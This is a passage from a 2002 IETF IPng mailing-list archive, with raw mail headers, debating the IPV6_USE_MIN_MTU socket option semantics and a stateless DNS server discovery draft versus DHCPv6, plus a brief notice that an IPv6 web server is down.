owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3GEoCIA029986 for ; Tue, 16 Apr 2002 07:50:12 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA19275 for ; Tue, 16 Apr 2002 07:50:14 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA08743 for ; Tue, 16 Apr 2002 07:50:13 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id g3GEpuO02531; Tue, 16 Apr 2002 21:51:57 +0700 (ICT) From: Robert Elz To: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= cc: Erik Nordmark , Toerless Eckert , matt@3am-software.com, ipng@sunroof.eng.sun.com Subject: Re: rfc2292bis text proposal In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 16 Apr 2002 21:51:56 +0700 Message-ID: <2529.1018968716@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Tue, 16 Apr 2002 23:06:20 +0900 From: JINMEI Tatuya Message-ID: | If there's no other opinion on this point, I'll restrict the positive | value in the revised text. This is probably not important - but is there any real need to allow the value -1 to actually be set? That is, I fully understand why it is the default value, but if an application decides it wants to use the minimium MTU (for unicast) or that it doesn't (for multicast), is it really likely that it will want to ever say (on one socket) "use it for multicast but not for unicast" ? Having that as the default makes sense, as there's no way to know in the stack whether unicast or multicast packets will be sent, until after they're sent. But the application sure knows... Do applications really send both unicast and multicast packets out one socket? I guess my point is that all that might need to be altered is the default setting, no need to add the -1 value as a possible arg to the syscall (if an app really needs to return to the default values, it could just close the socket, open a new one, and bind it to the same address). If we do need the new value, then are we 100% sure that we're not also going to need "use min mtu for unicast, but not for multicast" (the 4th possible case). I know that one seems crazy, but are we so certain that it will never be needed that it shouldn't be provided? If we assume that apps don't send unicast & multicast out the same socket, then clearly it isn't needed (but nor is the ability to set -1). If we assume that apps never send multicast other than min mtu, then it isn't needed - but then IPV6_USE_MIN_MTU could simply be defined as unicast only. And we already know that apps want to use min mtu for unicast packets (that's why the thing exists in the first place). So, from this, it seems to be, that if -1 exists (as a value that can be set), -2 (or something) needs to exist as well... kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 16 08:48:15 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3GFmFIA000078; Tue, 16 Apr 2002 08:48:15 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3GFmE62000077; Tue, 16 Apr 2002 08:48:14 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3GFmBIA000070 for ; Tue, 16 Apr 2002 08:48:11 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA26618 for ; Tue, 16 Apr 2002 08:48:14 -0700 (PDT) Received: from albatross.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [193.180.251.49]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA15528 for ; Tue, 16 Apr 2002 09:48:13 -0600 (MDT) Received: from esealnt461 (esealnt461.al.sw.ericsson.se [153.88.251.61]) by albatross.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g3GFmB3G025716 for ; Tue, 16 Apr 2002 17:48:11 +0200 (MEST) Received: FROM esealnt400.al.sw.ericsson.se BY esealnt461 ; Tue Apr 16 17:48:11 2002 +0200 Received: by esealnt400 with Internet Mail Service (5.5.2653.19) id <2JBTMRYS>; Tue, 16 Apr 2002 17:48:11 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6AC6F@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'ipng@sunroof.eng.sun.com'" Subject: RE: Stateless DNS discovery draft Date: Tue, 16 Apr 2002 17:48:10 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > OK, but we still have two options in IPv6 for address > > autoconfiguration: Stateless and Stateful. I don't understand > > why we shouldn't allow the option for _real_ stateless > > autoconfig in IPv6. By 'real' I mean, we can't claim true > > stateless autoconfig when a crucial service like the > > DNS still requires a server. > > Ok, so let's take this a piece at a time, with the > understanding that > I'm not trying to pick on Hesham here. I recognize that Hesham is > representing a point of view to which other members of the WG also > subscribe. To paraphrase Tom Paxton, I'll try to be kind > -- I expect > to fail miserably, but I'll try. => You've done well :) > > 1) What, precisely, does the term "stateless" mean in this context? > It suggests a belief that all the existing mechanisms > for telling a > host where to find DNS servers are keeping state recording which > server addresses they've reported to which hosts. That > sure isn't > the way that even "stateful" configuration (DHCPv4 with address > leasing) works with the ISC DHCP server that's running on my > network right now. => I understand. Perhaps stateful is used to refer to the fact that they keep a record of the DNS address. But I agree that it is not really accurate. > The distinction between "stateless" and "stateful" > configuration is > meaningful for address configuration, and the IPv6 stateless > address configuration mechanism is a good and useful thing. I do > not, however, see how the distinction applies to DNS server > discovery, and find attempts to use the term in this > context to be > more confusing than useful. => Ok, I should say that the functionality I'd like to see is the ability to discover a DNS without relying on functional entities other than the DNS. (not necessarily the entire node, but the server itself, I think the term server is very clear and does not imply an entire node). The point of the work is to limit the effects of third party node failures on discovering the DNS. I.e. When I'm running a network with a million user devices in it, I can either spend money to make sure that my DHCP server is super reliable or, make sure that, at least the very basic functions of the server, are done e2e. That is, between the end host and the DNS. > > 2) What, precisely, does "server" mean in this context? DNS server? > DHCP server? What's a server, anyway? A node? A > program running > on a node? A well-known port to which one can send > certain queries > and from which one sometimes gets back useful answers? > > I submit that discussion on this topic to date has confused at > least two of these definitions. I also submit that, since the > discovery proposal we're discussing both uses a client/server > protocol (DNS) to discover something and is in fact intended to > discover a (DNS) server, the choice of terminology here > is poor at > best and (presumably accidently) obfuscatory at worst. => Believe it or not, I think we're in agreement. I was not referring to an entire node. > > To be clear (well, clearer): when I suggested using DHCP in order to > locate DNS servers, I meant that entities that wish to locate an > entity that functions in the server role of the DNS protocol when > contacted at UDP port 53 might well do so by issuing DHCPv6 > Information-Request messages and listening for relevant responses. > For the cases where the proposal you're talking about works at all, > the two are semantically equivilent except for details of well-known > port number, packet encoding, and the set of tricks used to > propagate > the queries and responses across routers. => Exactly, but propagating information across routers is _the_ issue here. People were not comfortable with relying on multicast routing. Also having an additional function in every router (relay agent) to simply repackage this single packet didn't seem like a good investment. Hence the chosen 'transport' mechanism in the draft. The content could well look identical to a DHCP message, but the issue is how to send this packet across the network. The other issue is, if we assume that the node containing the DNS will also act like a DHCP server (for the sake of receiving this single message (DHCP INFORM)), how does that work in the presence of other DHCP servers used for address configuration as well as configuring other parameters? I've already claimed lack of deep knowledge on DHCP, so there might be a pretty simple answer for this, but I haven't heard it. > > FWIW, we have deployment cases where this draft makes > > a lot of sense and there is no alternative to it. > > Given that the Information Request mechanism already exists > in DHCPv6, > and is substantially identical to the DHCPINFORM mechanism which has > been part of the Draft Standard for DHCPv4 since 1997, I have a hard > time believing your statement if I take it literally, so I suspect > that you meant something else. => I've tried to explain above. Thanks, Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 16 10:32:09 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3GHW9IA000146; Tue, 16 Apr 2002 10:32:09 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3GHW9UP000145; Tue, 16 Apr 2002 10:32:09 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3GHW5IA000138 for ; Tue, 16 Apr 2002 10:32:05 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA17537 for ; Tue, 16 Apr 2002 10:32:07 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA18121; Tue, 16 Apr 2002 10:32:06 -0700 (PDT) Received: from localhost ([3ffe:501:100f:1041::6]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g3GHVNo09954; Wed, 17 Apr 2002 02:31:23 +0900 (JST) Date: Wed, 17 Apr 2002 02:31:25 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Robert Elz Cc: Erik Nordmark , Toerless Eckert , matt@3am-software.com, ipng@sunroof.eng.sun.com Subject: Re: rfc2292bis text proposal In-Reply-To: <2529.1018968716@brandenburg.cs.mu.OZ.AU> References: <2529.1018968716@brandenburg.cs.mu.OZ.AU> User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 71 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Thanks for the careful consideration, >>>>> On Tue, 16 Apr 2002 21:51:56 +0700, >>>>> Robert Elz said: > That is, I fully understand why it is the default value, but if an > application decides it wants to use the minimium MTU (for unicast) or > that it doesn't (for multicast), is it really likely that it will > want to ever say (on one socket) "use it for multicast but not for > unicast" ? > Having that as the default makes sense, as there's no way to know in > the stack whether unicast or multicast packets will be sent, until > after they're sent. But the application sure knows... Do applications > really send both unicast and multicast packets out one socket? Sometimes yes. In fact I have a couple of examples of such applications. > I guess my point is that all that might need to be altered is the > default setting, no need to add the -1 value as a possible arg to the > syscall (if an app really needs to return to the default values, it > could just close the socket, open a new one, and bind it to the same > address). It could, but it is not always a good coding style (at least I believe not). This way we'll have to figure out the type and the protocol of the socket, the bound address and port for the socket, all socket option values previously set for the socket, etc..., and then recover all the values for the new socket. This is weird, and sometimes even almost impossible. Also, we usually provide an application with a way to go back to the default, as an API convention. So I think the existence of -1 here makes sense, even though the knob is usually unused. > If we do need the new value, then are we 100% sure that we're not also > going to need "use min mtu for unicast, but not for multicast" (the > 4th possible case). I know that one seems crazy, but are we so certain > that it will never be needed that it shouldn't be provided? If we > assume that apps don't send unicast & multicast out the same socket, > then clearly it isn't needed (but nor is the ability to set -1). If > we assume that apps never send multicast other than min mtu, then it > isn't needed - but then IPV6_USE_MIN_MTU could simply be defined as > unicast only. And we already know that apps want to use min mtu for > unicast packets (that's why the thing exists in the first place). > So, from this, it seems to be, that if -1 exists (as a value that can > be set), -2 (or something) needs to exist as well... As I said above, there *are* applications that use a single socket for both unicast and multicast applications. However, through my experiences, all such applications do not care about the path MTU; they are just happy with the default. Meanwhile, if a multicast application ever wanted to enable path MTU discovery for multicast, I'm quite sure that the application would use a dedicated socket for multicast only. Thus, from a practical point of view, I believe we do not need the 4th argument. As a consequence, I don't see a need to change the current proposal. However, I guess we could add an explicit note that: - enabling path MTU discovery for multicast application is basically not recommended. - if an application really wants to enable it, the application should use a dedicated socket for multicast. Does this make sense? JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 16 10:34:18 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3GHYHIA000167; Tue, 16 Apr 2002 10:34:17 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3GHYHLp000166; Tue, 16 Apr 2002 10:34:17 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3GHYEIA000156 for ; Tue, 16 Apr 2002 10:34:14 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA12383 for ; Tue, 16 Apr 2002 10:34:17 -0700 (PDT) Received: from thrintun.hactrn.net (dsl092-066-067.bos1.dsl.speakeasy.net [66.92.66.67]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA19432 for ; Tue, 16 Apr 2002 10:34:16 -0700 (PDT) Received: from thrintun.hactrn.net (localhost [127.0.0.1]) by thrintun.hactrn.net (Postfix) with ESMTP id 61A5C1C46 for ; Tue, 16 Apr 2002 13:34:15 -0400 (EDT) Date: Tue, 16 Apr 2002 13:34:15 -0400 From: Rob Austein To: ipng@sunroof.eng.sun.com Reply-To: ipng@sunroof.eng.sun.com Subject: Re: Stateless DNS discovery draft In-Reply-To: <4DA6EA82906FD511BE2F00508BCF053802C6AC6F@Esealnt861.al.sw.ericsson.se> References: <4DA6EA82906FD511BE2F00508BCF053802C6AC6F@Esealnt861.al.sw.ericsson.se> User-Agent: Wanderlust/2.4.1 (Stand By Me) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) Emacs/20.7 (i386--freebsd) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Message-Id: <20020416173415.61A5C1C46@thrintun.hactrn.net> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At Tue, 16 Apr 2002 17:48:10 +0200, Hesham Soliman wrote: > > Ok, I should say that the functionality I'd like to see is the > ability to discover a DNS without relying on functional entities > other than the DNS. (not necessarily the entire node, but the server > itself, I think the term server is very clear and does not imply an > entire node). Sorry, but it really is not clear enough to sift fact from confusion in some of the comments that people (not necessarily you) have made. Ok, a "server" isn't a whole node, good. But is it a process, or the entity listening to a particular well-known port, or a collection of subroutines that perform a particular set of conceptual functions? If, say, a single process is listening to both port 53 and to port 67, is that one server or two? > The point of the work is to limit the effects of third party node > failures on discovering the DNS. I.e. When I'm running a network > with a million user devices in it, I can either spend money to make > sure that my DHCP server is super reliable or, make sure that, at > least the very basic functions of the server, are done e2e. That is, > between the end host and the DNS. So if the DHCP server role and the DNS server role were being performed by the same "server", this would not be a problem. Right? > Believe it or not, I think we're in agreement. > I was not referring to an entire node. Ok. > Exactly, but propagating information across routers is _the_ issue > here. People were not comfortable with relying on multicast routing. > Also having an additional function in every router (relay agent) to > simply repackage this single packet didn't seem like a good > investment. Hence the chosen 'transport' mechanism in the > draft. The content could well look identical to a DHCP message, but > the issue is how to send this packet across the network. Right, and if I believed that DNS were the only non-addr-config data we'd ever need to worry about, I might buy the argument, but I don't. > The other issue is, if we assume that the node containing the DNS > will also act like a DHCP server (for the sake of receiving this > single message (DHCP INFORM)), how does that work in the presence of > other DHCP servers used for address configuration as well as > configuring other parameters? I've already claimed lack of deep > knowledge on DHCP, so there might be a pretty simple answer for > this, but I haven't heard it. Well, entities performing the server role of DHCP only answer Inform requests when (they think) they have something useful to say. The specific mechanism by which multiple entities could act in the DHCP server role on a single node is an implementation issue, but if you want an example, it appears (from the man page, I haven't tried it) that setsockopt(SO_REUSEPORT) would suffice on FreeBSD. Thanks, --Rob -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 16 18:14:00 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3H1E0IA001381; Tue, 16 Apr 2002 18:14:00 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3H1DxkF001380; Tue, 16 Apr 2002 18:13:59 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3H1DuIA001373 for ; Tue, 16 Apr 2002 18:13:56 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA13601 for ; Tue, 16 Apr 2002 18:14:00 -0700 (PDT) From: Jonne.Soininen@nokia.com Received: from mgw-dax2.ext.nokia.com (mgw-dax2.ext.nokia.com [63.78.179.217]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id TAA27766 for ; Tue, 16 Apr 2002 19:13:58 -0600 (MDT) Received: from davir04nok.americas.nokia.com (davir04nok.americas.nokia.com [172.18.242.87]) by mgw-dax2.ext.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id g3H1GYH08569 for ; Tue, 16 Apr 2002 20:16:34 -0500 (CDT) Received: from daebh001.NOE.Nokia.com (unverified) by davir04nok.americas.nokia.com (Content Technologies SMTPRS 4.2.5) with ESMTP id for ; Tue, 16 Apr 2002 20:13:54 -0500 Received: from mvebe001.NOE.Nokia.com ([172.18.140.37]) by daebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.3779); Tue, 16 Apr 2002 20:13:04 -0500 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 Subject: RE: Stateless DNS discovery draft Date: Tue, 16 Apr 2002 18:13:04 -0700 Message-ID: <4D7B558499107545BB45044C63822DDE0A07F1@mvebe001.NOE.Nokia.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Stateless DNS discovery draft Thread-Index: AcHlbUuiJCrx5YN/Ssmax/of3Lqz5gAPfsCw To: X-OriginalArrivalTime: 17 Apr 2002 01:13:04.0833 (UTC) FILETIME=[06BE6B10:01C1E5AD] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id g3H1DvIA001374 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hello, I may be wrong but Rob's and Hesham's discussion about configuration of the node (at this point) is to my opinion a bit off-tack from the original discussion. Thus, I do not want to comment on that discussion but Hesham's original question. There my view on the issue is quite clear: For a simple node (phone, or a PDA) or for a node in a simple network (PC in home environment, etc. - no real administration), there has to be a way to use the DNS without running _any_ additional protocols to additional servers. I believe that the current 'dns discovery' draft fills that whole rather well. (Though, the title of the document does not really reflect the content - to my opinion). Then the discussion about having further configuration done on the node, by DHCP or whatever other protocol, I would say is a different discussion. Cheers, Jonne. > -----Original Message----- > From: ext Rob Austein [mailto:sra+ipng@hactrn.net] > Sent: Tuesday, April 16, 2002 10:34 AM > To: ipng@sunroof.eng.sun.com > Subject: Re: Stateless DNS discovery draft > > > At Tue, 16 Apr 2002 17:48:10 +0200, Hesham Soliman wrote: > > > > Ok, I should say that the functionality I'd like to see is the > > ability to discover a DNS without relying on functional entities > > other than the DNS. (not necessarily the entire node, but the server > > itself, I think the term server is very clear and does not imply an > > entire node). > > Sorry, but it really is not clear enough to sift fact from confusion > in some of the comments that people (not necessarily you) have made. > > Ok, a "server" isn't a whole node, good. But is it a process, or the > entity listening to a particular well-known port, or a collection of > subroutines that perform a particular set of conceptual functions? > > If, say, a single process is listening to both port 53 and to port 67, > is that one server or two? > > > The point of the work is to limit the effects of third party node > > failures on discovering the DNS. I.e. When I'm running a network > > with a million user devices in it, I can either spend money to make > > sure that my DHCP server is super reliable or, make sure that, at > > least the very basic functions of the server, are done e2e. That is, > > between the end host and the DNS. > > So if the DHCP server role and the DNS server role were being > performed by the same "server", this would not be a problem. Right? > > > Believe it or not, I think we're in agreement. > > I was not referring to an entire node. > > Ok. > > > Exactly, but propagating information across routers is _the_ issue > > here. People were not comfortable with relying on multicast routing. > > Also having an additional function in every router (relay agent) to > > simply repackage this single packet didn't seem like a good > > investment. Hence the chosen 'transport' mechanism in the > > draft. The content could well look identical to a DHCP message, but > > the issue is how to send this packet across the network. > > Right, and if I believed that DNS were the only non-addr-config data > we'd ever need to worry about, I might buy the argument, but I don't. > > > The other issue is, if we assume that the node containing the DNS > > will also act like a DHCP server (for the sake of receiving this > > single message (DHCP INFORM)), how does that work in the presence of > > other DHCP servers used for address configuration as well as > > configuring other parameters? I've already claimed lack of deep > > knowledge on DHCP, so there might be a pretty simple answer for > > this, but I haven't heard it. > > Well, entities performing the server role of DHCP only answer Inform > requests when (they think) they have something useful to say. The > specific mechanism by which multiple entities could act in the DHCP > server role on a single node is an implementation issue, but if you > want an example, it appears (from the man page, I haven't tried it) > that setsockopt(SO_REUSEPORT) would suffice on FreeBSD. > > Thanks, > > --Rob > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 16 19:19:09 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3H2J9IA001685; Tue, 16 Apr 2002 19:19:09 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3H2J92k001684; Tue, 16 Apr 2002 19:19:09 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3H2J5IA001674 for ; Tue, 16 Apr 2002 19:19:05 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA02822 for ; Tue, 16 Apr 2002 19:19:08 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id UAA08006 for ; Tue, 16 Apr 2002 20:19:07 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 1785A4B22; Wed, 17 Apr 2002 11:19:04 +0900 (JST) To: ipng@sunroof.eng.sun.com Cc: root@playground.sun.com, postmaster@playground.sun.com X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: IPv6 http://playground.sun.com/ is down From: itojun@iijlab.net Date: Wed, 17 Apr 2002 11:19:04 +0900 Message-ID: <10638.1019009944@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk sorry for the noise to the list, but IPv6 side of http://playground.sun.com/ is down. we should unify the servers... itojun itojun[starfruit:~] telnet playground.sun.com 80 Trying 3ffe:8130:d000:0:a00:20ff:fe7b:645... telnet: connect to address 3ffe:8130:d000:0:a00:20ff:fe7b:645: Connection refused -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 16 19:43:25 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3H2hOIA001723; Tue, 16 Apr 2002 19:43:24 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3H2hOFn001722; Tue, 16 Apr 2002 19:43:24 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3H2hLIA001715 for ; Tue, 16 Apr 2002 19:43:21 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA08694 for ; Tue, 16 Apr 2002 19:43:25 -0700 (PDT) Received: from thrintun.hactrn.net (dsl092-066-067.bos1.dsl.speakeasy.net [66.92.66.67]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id UAA27075 for ; Tue, 16 Apr 2002 20:43:24 -0600 (MDT) Received: from thrintun.hactrn.net (localhost [127.0.0.1]) by thrintun.hactrn.net (Postfix) with ESMTP id 0DDA91C30 for ; Tue, 16 Apr 2002 22:43:23 -0400 (EDT) Date: Tue, 16 Apr 2002 22:43:22 -0400 From: Rob Austein To: ipng@sunroof.eng.sun.com Subject: Re: Stateless DNS discovery draft In-Reply-To: <4D7B558499107545BB45044C63822DDE0A07F1@mvebe001.NOE.Nokia.com> References: <4D7B558499107545BB45044C63822DDE0A07F1@mvebe001.NOE.Nokia.com> User-Agent: Wanderlust/2.4.1 (Stand By Me) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) Emacs/20.7 (i386--freebsd) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Message-Id: <20020417024323.0DDA91C30@thrintun.hactrn.net> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At Tue, 16 Apr 2002 18:13:04 -0700, jonne soininen wrote: > > I may be wrong but Rob's and Hesham's discussion about configuration > of the node (at this point) is to my opinion a bit off-tack from the > original discussion. I think it's the same discussion. YMMV. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 16 22:28:56 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3H5SuIA002442; Tue, 16 Apr 2002 22:28:56 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3H5Suld002441; Tue, 16 Apr 2002 22:28:56 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3H5SrIA002434 for ; Tue, 16 Apr 2002 22:28:53 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA12400 for ; Tue, 16 Apr 2002 22:28:56 -0700 (PDT) From: Jonne.Soininen@nokia.com Received: from mgw-dax2.ext.nokia.com (mgw-dax2.ext.nokia.com [63.78.179.217]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA26174 for ; Tue, 16 Apr 2002 23:28:56 